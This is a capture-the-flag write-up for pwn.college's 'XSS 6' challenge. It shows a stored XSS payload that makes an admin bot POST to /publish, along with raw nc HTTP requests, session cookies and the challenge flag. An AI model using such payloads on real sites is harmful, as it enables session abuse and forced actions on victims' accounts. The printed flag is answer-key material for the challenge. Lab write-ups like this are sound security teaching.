🛡️ XSS 6 — Writeup
Writeup from Web Security
📁 Challenge Information
- Category: Web Exploitation
- Challenge Name: XSS 6
- Platform: pwn.college
- Tags:
Stored XSS,JavaScript,CSRF,Privilege Escalation,Session Abuse
🔍 Description
This challenge builds on the previous XSS exercises but adds a twist: the /publish route now requires a POST request rather than a GET. This means the attack must simulate a POST request from the victim’s browser using JavaScript.
⚙️ Application Behavior
Login
- Auth via
/loginsets a session cookie
Draft Post Submission
- Accessible at
/draft contentis inserted into the HTML without escaping
Publish
- In XSS 5:
GET /publish - In XSS 6: now requires
POST /publish - Includes this form: ```html
### Vulnerable Rendering:
```python
page += post["content"]
User-controlled HTML is directly inserted and rendered—classic stored XSS.
🧪 Exploitation Plan
- Login as
hacker - Inject malicious JS that sends a
POSTrequest to/publish - Mark the post as published so the JS executes for visitors (e.g., the bot)
- Trigger the bot to visit
/ - The admin’s browser executes JS and submits a POST to
/publish - Admin’s draft (flag) is published
- View the published post as
hacker
🧨 Step-by-Step Exploit
1. Login as hacker
printf "POST /login HTTP/1.0\r\nHost:challenge.localhost\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:29\r\n\r\nusername=hacker&password=1337" | nc challenge.localhost 80
✅ Session cookie from response:
session=eyJ1c2VybmFtZSI6ImhhY2tlciJ9.aH2V3g.DWCnjyhHpO2eh8uII1zrbxucvWs
2. Inject Stored XSS via /draft
Payload:
<script>
fetch("http://challenge.localhost/publish", {
method: "POST",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "msg=OwnedByXSS"
})
</script>
Submit it:
printf 'POST /draft HTTP/1.0\r\nHost:challenge.localhost\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:179\r\nCookie:session=eyJ1c2VybmFtZSI6ImhhY2tlciJ9.aH2V3g.DWCnjyhHpO2eh8uII1zrbxucvWs\r\n\r\ncontent=<script>fetch("http://challenge.localhost/publish",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"msg=OwnedByXSS"})</script>&publish=on'| nc challenge.localhost 80
✔️ The post is published and will execute JS when visited by the victim.
3. Trigger Admin Visit
/challenge/victim
✔️ Admin bot visits the page and executes the fetch() JS, which sends a POST to /publish.
4. Re-login and View the Result
printf "POST /login HTTP/1.0\r\nHost:challenge.localhost\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:29\r\n\r\nusername=hacker&password=1337" | nc challenge.localhost 80
New cookie from response:
session=eyJ1c2VybmFtZSI6ImhhY2tlciJ9.aH2WEQ.JY8MoZM_5zzfs4-M6SFvmo1dp5c
Check if it worked:
curl -b "session=eyJ1c2VybmFtZSI6ImhhY2tlciJ9.aH2WEQ.JY8MoZM_5zzfs4-M6SFvmo1dp5c" http://challenge.localhost/
✅ Output includes:
<h2>Author: admin</h2>pwn.college{YHfdoNx7kPHkKQzkkUPm3t3twX9.QXwgTN2wSM0IzMyEzW}
🏁 Flag
pwn.college{YHfdoNx7kPHkKQzkkUPm3t3twX9.QXwgTN2wSM0IzMyEzW}